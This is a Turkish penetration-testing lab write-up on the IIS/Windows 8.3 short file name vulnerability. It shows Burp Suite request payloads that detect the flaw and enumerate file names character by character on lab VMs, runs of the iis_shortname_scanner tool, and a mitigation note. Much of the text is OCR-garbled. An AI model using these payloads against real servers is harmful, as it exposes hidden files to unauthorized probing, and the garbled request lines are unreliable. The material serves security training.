Burpsuite - Repeater - Sémiirme HTTP Talep Paketi:

DEBUG /kimkim~1.a*\a.aspx HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:

404 Not Found



Request Response

Pretty Raw Hex = \n

Pretty Raw Hex Render n

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
¥-Powered-By: ASP.NET

Date: Wed, 15 Nowv 20232 05:13:14 GMT
Connection: close

2 Content-Length: 45952

- I 5

10 <IDOCTYPE html PUBLIC "-//W2C//DTD XHTHML 1.0

DEEUG /kimkim~l_a%'a.aspx HTTP/Ll.1
Accept-Encoding: g=zip, deflate, br

Host: 1592.168.5£.109

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Wing4; xE4; rv:109.0) Gecko/I010010L1
Firefox/110.0

5 Conmection: close

PR

PR

w

Burpsuite - Repeater - Somiirme HTTP Talep Paketi:

DEBUG /kimkim~1.as*\a.aspx HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:

404 Not Found

Request Response
Pretty Raw Hex n = Pretty Raw Hex Render n =
| DEBUG /kimkim~1.as*.a.aspx HTTP/1.1 I HTTP/1l.1 404 Not Found

> Tocept-Encoding. geip, deflate, br

2 Host: 159I2.168.56.10%

4 User-Agent: Mozilla/5.0 (Windows NT 10.0;:
Wing4; =xE4; rv:10%.0) Gecko/IZ0100101
Firefox/110.0

5 Connection: close

CacRe-Tontrol: privace

Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
H-Powered-By: ASP_NET

Date: Wed, 15 Now 2023 05:13:25 GMT
Connection: close

Content-Length: 4554

AR

w

10 <!DOCTYPE html PUELIC "-//W3C//DTD XHTHML 1.0

Burpsuite - Repeater - Sémiirme HTTP Talep Paketi:
// Uzantinin 3ncii karakterinde *
/1 karakteri konulmaz. Dogrudan
/I karakterler denenir ve status
// koda bakilr.

DEBUG /kimkim~1.asp\a.aspx HTTP/1.1

Host: VULN_WINDOWS_SERVER

HTTP Yanit:

404 Not Found

Request Response
Pretty Raw Hex n = Pretty Raw Hex Render n =
1 DEBUG /kimkim-1.asp'a aspx HTTP/1.1 I HTTP/1.1 404 Not Found

2 Accept-Encoding: gzip, deflate, br
2 Host: 19I2.168.56.109

ache-Control: private

Content-Type: text/html; charset=utf-g8
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Server: Microsoft-IIS/l0.0

Wing4; =xE4; rv:109.0) Gecko/Z0100101 ¥-Powered-By: ASP.NET

Firefox/110.0 £ Date: Wed, 15 Now Z023 05:13:I& GMT
Connection: close

L

w

Connection: close
2 Content-Length: 4554

10 <!DOCTYPE htwml PUBLIC "-//W2C//DTD XHTHML 1.0

1o



Sonug olarak elde edilen 8.3 kisa dosya ad1 su sekildeymis:

kimkim~1.asp
Hedef vulnerable web sunucuda web kok dizinine baktigimizda uzaktan tespit ettigimiz 8.3
kisa dosya adinin uzun formunu gorebiliriz:

File Machine View Input Devices Help

%] = | wwwroot - Xi=
Giris Paylas Goranam [| |
« - 4 » Bubilgisayar » Yerel Disk (C:) » inetpub » wwwroot v O Ara: wwwroot R
Ad - Degistirme tarihi Tir Boyut
# Hizh erigim _
1 Masagsto # aspnet_client 4. Dosya klasora
. deneme 8. Dosya klaséri
'_' Indirilenier * tuzlucayir A, Dosya klaséri
5] Belgeler A B iisstarthtm 4 HTML Belgesi 1KB |
=] Resimler # [ fisstart.png 4 PNG resmi 93 KB [
paylasim wj kimkimenededi.aspx =~ 1 & ASPX Dosyasi 0KB
tuzlucayir j kimkimenedediki.aspx ~ 2 8. 5 0KB
— [ Web.config 8. CONFIG Dosyasi 1KB

= Bu bilgisayar

=



f. Uygulama: Windows Short File Name Acikligi Manuel Séomiirme (Yeni Yoéntem)

(+) Birebir denenmistir ve basarili olunmusgtur.

Gereksinimler
Short File Name Vuln Scanner - Windows 10 VM // Saldirgan VM
Burpsuite // Saldirgan Tool

Windows Short File Name Vulnerability - Windows Server 2016 // Hedef Web Sunucu
Uyari:

Bu uygulamada “YENI IIS-ShortFileName-Scanner Tool”unun uyguladigi metot
uygulanmigtir (bkz. I1IS Short Name Scanner, versiyon 2023.4). Yeni IIS short file name
scanner tool’unun trafigi burpsuite ile incelenerek manuel yéntem elde edilmistir.

Uyar 2:

Yeni Short File Name Scanner tool’u Short File Name Vuln Scanner - Windows 10 VM’de
masatistiinde mevcuttur. Yeni tool’un kullandigi paket sablonu Burpsuite ile repeater’dan
gonderilerek ilerleyen satirlarda gésterildigi gibi sonuglar elde edilir.

Windows Short File Name giivenlik aciklikli bir windows web sunucuya 6zel http talebi
yapildiginda donen yanit paketinin http status koduna gore hedef windows web sunucuda windows
short file name acikliginin var olup olmadig: anlasilabilir. Ardindan yine &zel http talepleri ile
donen yanitlarin status koduna gore denenen dosya / klasor isminin hedef web sunucuda var olup
olmadig anlasilabilir.

Hedef vulnerable web sunucuda (“Windows Short File Name Vulnerability - Windows Server
2016” VM’de) web dizininde su dosya ve klasorler yer almaktadir:

File Machine View Input Devices Help

& = | wwwroot - X~
m Girig Paylas Garanim [|
« v > Bubilgisayar » Yerel Disk (C:) » inetpub » wwwroot v O Ara: wwwroot -]
~
Ad Degigtirme tarihi Tar Boyut
# Hizh erigim
aspnet_client Dosya klasard
I Masaisti pet :
. deneme Dosya klasora
¥ indirlenler tuzlucayir Dosya klasari
5] Belgeler & iisstart. htm HTML Belgesi 1 KB
g
= Resimler B jisstart.png PNG resmi 93 KB
paylasim ") kimkimenededi.aspx ASPX Dosyast 0KB
tuzlucayir j kimkimenedediki.aspx ASPX Dosyasi 0KB
wwwroot | | web.config CONFIG Dosyasi 1KB
[ Bu bilgisayar
=

Bu baslikta Burpsuite ile manuel expoitation yapilacaktir. Yani Burpsuite ile hedef web sunucunun
short file name acikligina sahip olup olmadig: tespiti elle yapilacaktir ve yine burpsuite ile hedef
web sunucu dizinindeki bir dosyanin 8.3. formath kisa ismi elle nasil elde edilir gosterilecektir.



i) Windows Short File Name Aciklik Tespiti

Burspuite ile hedef web sunucuda iis short file name agiklig1 var m1 tespit edelim. Bunun
icin OPTIONS talebimizde kullanilacak payload su sekildedir:

[*~1%/~1/.rem
Simdi OPTIONS talep paketi yollayalim.
Burpsuite - Repeater - Aciklik Tespit HTTP Talep Paketi:

OPTIONS /*~1%*/~1/.rem HTTP/1.1
Host: VULN_WINDOWS_SERVER

Cikti:
404 Not Found
o= =
Request Response
Raw Hex n = Pretty Raw Hex Render n =
1 OPTIONS /*~1*/~1/.rem HTTP/1.1 1 HTTP/1l.1 404 Not Found
2 Accept-Encoding: gzip, deflate, br 2 Fache-Control: private
2 Host: 18Z.1g8.5&.10% i Content-Type: text/html; charset=uti-28
4 Uger-Agent: Mozilla/5.0 (Windows NT 10.0; 4 Serwver: Microsoft-IIS/l0.0
Wing4; xE4; rv:105.0) Gecko/Z0100101 5 H-Powered-By: ASP_NET
Firefox/110.0 £ Date: Wed, 15 Nov Z0IZ2 07:15:44 GHMT

5 Connection: close 7 Commection: close
3 © Content-Length: 4525

10 <!DOCTYPE html PUBLIC "-//W23C//DTD HTHML 1.0

Goriildiigii gibi OPTIONS talebi ile /*~1*/~1/.rem dosyasi i¢in talep gonderildiginde 200
OK yerine 404 Not Found yanit1 geldi. Yani hedef web sunucu vulnerable’dir.

ii) Windows Short File Name Acikhigin1 Somiirme

Simdi hedef web sunucuda bir dosya adi elde edelim. Bunun igin;
/*~1*\a.aspx

payload’una sirasiyla denenecek karakterleri koyalim.
Burp - Repeater - Somiirme HTTP Talep Paketi:

OPTIONS /k*~1%*/~1/.rem HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:

404 Not Found



Request Response
Pretty Raw Hex n = Pretty Raw Hex Render n =
L OPTICONS /k*~1*/~l/.rem HTTP/1.1 1 HTTP‘l.l 404 Not Founcd
—_—
2 Accept-Encoding: gzip, deflate, br 2 Cache-Control: private
2 Host: 192 168 5&_ 109 32 Content-Type: text/html; charset=utf-8
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; 4 Serwver: Microsoft-IIS/10.0
WinE4; x€4; rv:109.0) Gecko/I0100101 5 ¥-Powered-By: ASP.NET
Firefox/110.0 € Date: Mon, 13 Now ZOI3 08:38:12 GMT
S Connection: close 7 Connection: close

€ 2 Content-Length: 4527

10 <IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0

Burp - Repeater - Somiirme HTTP Talep Paketi:

OPTIONS /z*~1%*/~1/rem HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:

200 OK

= =n
Request Response u
Pretty Raw Hex \n Pretty Raw Hex Rende n =
OPTIONS fz*~1*/~1/ rem HTTP/1.1 HTTP/1.1 Z00 OK
ITCeptPncoding OZip, deflate, br Xllow: CPTICNS, TRACE, GET, HEAD, POST
Host: 1592.168.56.109 Server: Microsoft-IIS/10.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; 4 Public: OPTIONS, TRACE, GET, HEAD, POST
WinE4; =xE4; rv:105.0) Gecko/Z01l00101 ¥-Powered-By: ASP_NET
Firefox/110.0 : Date: Mon, 13 Nov Z0IZ3 0B8:38:I28 GMT
Connection: close Comnection: close
€ 2 Content-Length: 0O

PR
@ om w

w

Ik karakter “k” imis. Siradaki karakteri tespit edelim.
Burp - Repeater - Somiirme HTTP Talep Paketi - 1:

OPTIONS /ka*~1%*/~1/rem HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:
200 OK

Request Response

Pretty Raw Hex n = Pretty Raw Hex Rende no=
1 OPTIONS fka*-~1*/~1/.rem HTTP/1.1 1 HTTP/1.1 200 OK

o AoCept-Encoding: gaip, deflate, br o ETTERTUPTIONS, TRACE, GET, HEAD, POST

3 Host: 192.165.5£.108 3 Server: Microsoft-IIS/10.0

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; 4 publie: OPTIONS, TRACE, CET, HEAD, POST

Wing4; xE4; rv:-1058_0) Gecko/Z0100101
Firefox/110.0 = Date: Mon, 13 Nowv 2023 08:51:30 GMT
Connection: close Connection: close
€ 2 Content-Length: 0

H-Powered-By: ASP NET

™ o

n

Burp - Repeater - Somiirme HTTP Talep Paketi - 2:

OPTIONS /kb*~1*/~1/.rem HTTP/1.1
Host: VULN_WINDOWS_SERVER



HTTP Yanit:

200 OK

= =
Request Response u

Pretty Raw Hex \n Pretty Raw Hex Rende n =
1 OPTIONS /kh*~l*/~1/. rem HTTPF/1.1 L HTTP/1.1 ~00
2 Accept-Encoding: gzip, deflate, br Allow: OPTIONS, TERACE, GET, HEAD, POST
2 Host: 15I2_16B8.56.10%9 Server: Microsoft-IIS/10.0
4 User-Agent: Mozilla/5.0 (Windeows NT 10.0; Public: OPTIONS, TRACE, GET, HEAD, POST
Wing4; x€4; rv:105.0) Gecko/Z0100101 ¥-Powered-By: ASP.NET
Firefox/110.0 Date: Mon, 13 Nowv Z0Z2 0B8:51:30 GMT
Connection: close Connection: close

2 Content-Length: 0O

L

@ om

-

S mom

Burp - Repeater - Somiirme HTTP Talep Paketi - X:

OPTIONS /ki*~1%*/~1/rem HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:
404 Not Found

==
Request Response u

Raw Hex \n

OPTIONS /ki*~1*/~1/.rem HTTP/Ll.1
mdeflate, br

Host: 152.1&8.58.10%

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Wing4; xE4; rv:109.0) Gecko/Z0100101
Firefox/110.0

Connection: close

Pretty Raw Hex Render n =

Cache-Control: private

Content-Type: text/html; charset=utf-3
Server: Microsoft-IIS/10.0
H-Powered-By: ASP_NET

Date: Mon, 13 Now 2023 08:51:52 GMT
Connection: close

€ 2 Content-Length: 4529

W
R

i
-

10 <!DOCTYPE htwml PUELIC "-//W2C//DTD XHTHML 1.0
Striet//EN"
"http: //www. w3, org/TR/xhtnll/DTD/xhtmll-stric

Ikinci karakter “i” imis. Bu sekilde karakterleri sirasiyla tespit ederek su elde edilecektir:
OPTIONS /kimkim*~1*/~1/.rem HTTP/1.1
Host: VULN_WINDOWS_SERVER
HTTP Yanut:

404 Not Found

o=s

Request Response

Pretty Raw Hex n = Pretty Raw Hex Render n =
OPTIONS /kimkim*~1*/~1/.rem HTTP/1.1 I HTTP/l.1 404 Not Found

Accept—Emate, br

Host: 152.168.5&6.108

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Wing4; xE4; rv:105.0) Gecko/I0100101
Firefox/110.0

Connection: close

Cache-Control: private

Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
H-Powered-By: ASP.NET

Date: Mon, 12 Nowv I022 08:326:06 GMT
Connection: close

£ 2 Content-Length: 4537

P
R,

oo
-



Simdi dosyanin varsa uzantisini elde edelim.
Burp - Repeater - Somiirme HTTP Talep Paketi - 1:

OPTIONS /kimkim~1.a*/~1/rem HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:
404 Not Found
u = =

Raw Hex n = Pretty Raw Hex Render n =

1 OPTIONS /kimkim~1.a*/~1/.rem HTTP/Ll.1 1 HTTP{l.l 404 Mot Found
2 xccept,—ﬂnco([lng: gEip, ([eEIat,e, br 2 Cache-Control: private

Request Response

2 Host: 192.1E88.56.10%9 2 Content-Type: text/html; charset=utf-8
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; 4 Server: Microsoft-IIS/l0.0
Wing4; xE4; rv:109.0) Gecko/ /20100101 5 H-Powered-By: ASP_NET
Firefox/110.0 € Date: Mon, 12 Nowv Z0IZ2 08:5I:34 GMT
S Connection: close 7 Connection: close
€ 2 Content-length: 4939

10 <!DOCTYPE html PUELIC "-//W3C//DTD XHTML 1.0

Burp - Repeater - Somiirme HTTP Talep Paketi - 2:

OPTIONS /kimkim~1.as*/~1/rem HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:

404 Not Found

Request Response
Pretty Raw Hex n = Pretty Raw Hex Render n =
1 OPTIONS /kimkim~1.as*/~1/.rem HTTP/1l.1 1 HTTP/1l.1l 404 Not Found
2 EfCept-Encoding. gzip, deflate, br 2 Tache-Control: privace
2 Host: 18Z2.168.5E8.109 2 Content-Type: text/html; charset=utf-8
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; 4 Berver: Microsoft-IIS/l0.0
WinE4; x€4; rv:109.0) Gecko/I0100101 5 ¥-Powered-By: ASP_NET
Firefox/110.0 € Date: Mon, 13 Nowv Z0IZ3 08:5I2:34 GMT
S Connection: close 7 Connection: close

€ % Content-Length: 4839
10 <IDOCTYPE html PUBLIC "-//W3C//DTD XHTHML 1.0

Strict//EN"
"htep: //vww w3 org/TR/xhtnl 1 /DTD/xhtmll-stric

Burp - Repeater - Somiirme HTTP Talep Paketi - 3:// Uzantinin 3ncii karakterinde *
// karakteri konulmaz. Dogrudan

// karakterler denenir ve status
// koda bakilir.

OPTIONS /kimkim~1.asp/~1/.rem HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:



404 Not Found

= =n
Response
Raw Hex n = Pretty Raw Hex Render n =
1 OPTIONS /kimkim~l.asp/~1/.rem HTTP/1.1 1 HTTP/1l.1 404 Not Found
e e o e —_—
2 Accept-Encoding: gzip, deflate, br 2 Cache-Control: private
2 Host: 182 1E8.56.10%9 2 Content-Type: text/html; charset=utf-8
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; 4 Server: Microsoft-IIS/l0.0

Wing4; x&4; rv:105.0) Geckos/Z0100101 ¥-TPowered-By: ASP_NET
Firefox/110.0 Date: Mon, 12 Nowv Z0IZ3 08:53:0C2 GMT
Connection: close 7 Connection: close

Content-Length: 4941

1

S mom

0 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTHML 1.0

Sonug olarak elde edilen 8.3 kisa dosya ad1 su sekildeymis:

kimkim~1.asp

Hedef vulnerable web sunucuda web kok dizinine baktigimizda uzaktan tespit ettigimiz 8.3
kisa dosya adinin uzun formunu gorebiliriz:

File Machine View Input Devices Help

& = | wwwroot - X ‘;
Giris Paylas Goranam [| |
« - 4 » Bubilgisayar » Yerel Disk (C:) » inetpub » wwwroot v O Ara: wwwroot R
Ad - Degistirme tarihi Tir Boyut
# Hizh erigim
1 Masagsto # aspnet_client Dosya klasora
. deneme
'_' Indirilenier * tuzlucayir Dosya klaséri
5 Belgeler A & iisstarthtm HTML Belgesi 1KB |
= Resimler # B fisstartpng PNG resmi a8 KE ‘
paylasim wj kimkimenededi.asgx -~1 ASPX Dosyasi 0KB
tuzlucayir j kimkimenedediki.aspx ~ 2 ASPX Dosyasi 0KB
[ Web.config CONFIG Dosyasi 1KB

wwwroot
= Bu bilgisayar

=



g. Uygulama: Windows Short File Name Acikligim1 Otomatize Tool’la Somiirme

(+) Birebir denenmistir ve basariyla uygulanmstir.

Gereksinimler
Short File Name Vuln Scanner - Windows 10 VM // Saldirgan VM
[IS-ShortName-Scanner.jar // Saldirgan Tool

Windows Short File Name Vulnerability - Windows Server 2016 // Hedef Web Sunucu

- “A] Saldir1 1” baghiginda hedef iis web sunucusundaki web uygulamanin kok dizini kisa dosya adi
kesfetmek icin taranmaktadir.

- “B] Saldir1 2” baghiginda ise hedef iis web sunucusundaki web uygulamanin érnekleme olarak bir
alt dizini kisa dosya ad1 kesfetmek igin taranmaktadir.

- Sonug olarak dizin kesfettikce kesfedilen dizinlerin igerisi de ilaveten taranabilir.
A] Saldirn 1
- Saldirgan vm’de tool hazir hale getirilir.
Short File Name Vuln Scanner CMD:

> cd "C:\Users\pentest\Desktop\IIS-ShortName-Scanner\release"
> java -jar iis_shortname_scanner.jar --help

- Saldirilacak hedef web uygulama su sekildedir:

Hedef Web Uygulama (Windows Short File Name Vulnerability - Windows Server
2016 VM)

Short File Name Vuln Scanner - Windows 10 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

[ | [3 s Windows Server x IS - a x
<& G A Notsecure | 192.16868.115 oo® A v M ot 53 & - O
=R Windows Server ~

L 4

Internet Information Services =

[

]
&
Welcome Bienvenue | Tervetuloa w
&£3z% Benvenuto #i2 +
4 .}‘.‘ Bienvenido' Hos geldiniz | oxan ooma
Bem-vindo 1)
KoAwg
Vitejte OpIOQTE
Microsoft Willkommen [Welkemmen
(]
(]
&
- = - G ra = ENG  8356PM
W O Typeheretosearch ﬁ B @ - m oo = G o EmEdes Son Bl

B 0o S@@Brightctd



- Saldirgan VM’den hedef web sunucusuna iis short file name taramasi yapilir ve agiklik var
m1 tespit edilir.

Short File Name Vuln Scanner CMD:
> java -jar IIS_shortname_scanner.jar http:/HEDEF_WEB_SUNUCU_IP/

Cikti:
Short File Name Vuln Scanner - Windows 10 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

B8 Command Prompt

r.jar http://19

- Saldiriya baslanur.
Short File Name Vuln Scanner CMD:
> java -jar IIS_shortname_scanner.jar 2 20 http://HEDEF_WEB_SUNUCU_IP/

2: Show Progress
20: Recommend Thread Number

Cikti:

Short File Name Vuln Scanner - Windows 10 [Running] - Oracle VM VirtualBox

! File Machine View Input Devices Help
& Command Prompt - X
ner.jar 2 20 http:/ /

Short File Name Vuln Scanner - Windows 10 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help
&8 Command Prompt - X




- Sonug;

Goriildiigii tizere 2 klasoriin ve 3 dosyanin 8.3 kisa dosya ad1 elde edilebilmistir.

NOT:

Hedef web uygulamada taranan dizinde su klasorler ve dosya adlar1 yer almaktaydi.

Hedef Web Uygulama (Windows Short File Name Vulnerability - Windows Server
2016 VM):

Windows Short File Name Vulnerability - Windows Server 2016 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

] < | wwwroot = x
m Girig Paylas Géranim (7]
« « 4 || » Bubilgisayar > Yerel Disk(C) » inetpub > wwwroot v o | A wroot »
Ad Degistirmetarihi ~ Tar Boyut
s Hizl erigim
aspnet_client Dosya klasora
I Masaasta POS i
i deneme Dosya Klasori
& Indirlenler tuzlucayir Dosya klasérii
[5] Belgeler & iisstart.htm HTML Belgesi 1KB
=] Resimler & iisstart.png PNG resmi 93 K8
paylasim ) kimkimenededi.aspx ASPX Dosyasi 0KB
W ] kimkimenedediki.aspx ASPX Dosyasi 0KB
N |7 web.config CONFIG Dosyast 1KB
[ Bu bilgisayar
Ay
8oge [E=

Bu klasor ve dosyalardan “deneme” klasorii ile “iisstart.html” ve “iisstart.png”
dosyalarinin 8.3 kisa dosya ad1 kesfedilememistir.

B] Saldir1 2
- Saldirgan vm’de tool hazir hale getirilir.
Short File Name Vuln Scanner CMD:

> cd "C:\Users\pentest\Desktop\IIS-ShortName-Scanner\release"
> java -jar iis_shortname_scanner.jar --help

- Saldirilacak hedef web uygulamadaki taranacak “alt dizin” kirilimi su sekildedir:

Hedef Web Uygulama Alt Dizini (Windows Short File Name Vulnerability -
Windows Server 2016 VM):



Short File Name Vuln Scanner - Windows 10 [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
O | [ Tutogar Arsdolo Usesianese, x |+
s @ 192.168.68.115/tuzluc:
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- Saldirgan VM’den hedef web sunucusuna iis short file name taramasi agiklik var mi diye
tekrar taramaya gerek yoktur, zaten var oldugunu bir 6nceki taramada tespit ettik. Bu

nedenle zafiyet tespit agamasi atlanir.
- Saldiriya baglanir.
Short File Name Vuln Scanner CMD:

> java -jar IIS_shortname_scanner.jar 2 20
http:/HEDEF_WEB_SUNUCU_IP/tuzlucayir/

2: Show Progress
20: Recommend Thread Number

Cikti:

File Machine View Input Devices Help
&8 Command Prompt

release>java -jar IIS_shortname_scanner.jar 2 26 http://192.1

Short File Name Vuln Scanner - Windows 10 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help
&8 Command Prompt

Short File Name Vuln Scanner - Windows 10 [Running] - Oracle VM VirtualBox




- Sonug;
Goriildiigii tizere 8 adet dosyanin 8.3 kisa dosya ad1 elde edilebilmistir.

NOT:

Hedef web uygulamada taranan alt dizinde su klasorler ve dosya adlar yer
almaktaydu.

Hedef Web Uygulama (Windows Short File Name Vulnerability - Windows Server
2016 VM):

Windows Short File Name Vulnerability - Windows Server 2016 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

[ [ = | tuzlucayir - X
m Girig Paylas Garanam (]
« © 4 || > Bubilgisayar > YerelDisk(C) » inetpub > wwwroot > tuzlucayir > v B | A tuzlucayir »
Ad Degistirmetarihi  Tar Boyut
v s Hizl erisim
B Vssaisto DB Dosya Kasérd
mailroot
4 Indirilenler Resimler
[5] Belgeler Videolar
&) Resimler [] confirmRegistration.asp 14KB
paylasim [ contact.asp 9KB
tuzlucayir [ forum.asp 13KB
R £ fotograflarDuzen.css Gecigli Stil Sayfasi .. 1KB
3] genelDuzen.css Gegisli Stil Sayfasi .. 3KB
> [ Bubilgisayar [ hocalar.asp ASP Dosyasi 21KB
A [ ] indexasp ASP Dosyas: 11KB
4] jmaildil Uygulamsa uzantisi 314KB
4] kayitDuzen.css Gecili Stil Sayfasi .. 1KB
2] KisilerDuzen.css Gegisli 5til Sayfasi .. 3KB
[ peopleasp ASP Dosyas: 131 KB
[ pictures.asp ASP Dosyas: 229KB
[] register.asp ASP Dosyas: 98 KB
[ ] security.asp ASP Dosyas: S KB
|| timeDateAdjustment.asp ASP Dosyasi 2KB
i tuzlucayirzip Sikagtinlmig Klasor 3.073KB
| [ ] videos.asp 47KB
[ who is deing what and where.asp 9KB
|

22 6e EL

Bu klasor ve dosyalardan birkacinin 8.3 kisa dosya adi kesfedilememistir.



h. EK: IIS Short File Name Scanner Tool’unun Trafigini Goriintiileme
i) Eski IIS-Short-File-Name-Scanner Tool’u i¢in

(+) Bu komut iis_shortname_scanner tool’u versiyon 2.3.9 (05 February 2017) kullanilmistir
ve Burpsuite’te basariyla trafik gériintiilemesi yapilabilmistir. flgili tool

Windows Short File Name Vulnerability - Windows Server 2016 VM
’de Desktop’ta yiikliidiir.

Eski IIS short tool’da trafikte araya girmek icin java komutunun proxy parametresi
kullanilabilir.

CMD:

> java -Dhttp.nonProxyHosts= -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080 -
Dhttps.proxyHost=127.0.0.1 -jar iis_shortname_scanner_jdk?7.jar http://localhost/

ii) Yeni IIS-Short-File-Name-Scanner Tool’u icin

(+) Bu komut iis_shortname_scanner tool’u versiyon 2023.4’da kullanilmistir ve basariyla
Burpsuite’te trafik gériintiilemesi yapilabilmistir. flgili tool

Short File Name Vuln Scanner - Windows 10 VM
’de Desktop’ta yiikliidiir.

Yeni IIS short tool’da trafikte araya girmek icin tool’unun kendi icerisindeki proxy 6zelligi
kullanilabilir:

CMD:

> java -jar IIS_shortname_scanner.jar http://192.168.56.109/

Do you want to use proxy [Y=Yes, Anything Else=No]? Y

Proxy server Name? (enter for 127.0.0.1) : / ENTER

Proxy server port number? (leave empty to cancel use of a proxy): 8080



i. Sonuc¢

* Bu acgiklik son siirim Windows Server 2022 dahi yapilabilmektedir. Bu durumu / agikli1 bildiren
hacker microsoft yetkilileriyle yazigmalar1 sonucu Microsoft’un aciklig1 kapatmayacagi bilgisini
almis. Microsoft bunu feature (6zellik) olarak sunmaya devam edecekmis. Ancak istenirse bu
feature (6zellik) kapatilabileceginden agiklig1 gidermek icin best practice geregi kapatilmasi
onerilmektedir.

* Windows short file name agiklig1 bir windows isletim sistemi agikligidir. Dolayisiyla windows'ta
kurulu gelen IIS web sunucularda digsaridan sémiiriilebildigi gibi windows'ta kurulacak bir Apache
web sunucuda da digaridan sémiiriilebilir.

j. Kaynaklar

https://github.com/irsdl/iis-shortname-scanner/

https://mushaaf.net/bpa-warning/
https://www.computerhope.com/jargon/num/8-3-format.htm
http://www.chami.com/tips/windows/122496W.html
https://www.youtube.com/watch?v=6faDdSNHnFw
https://en.wikipedia.org/wiki/8.3_filename
https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/



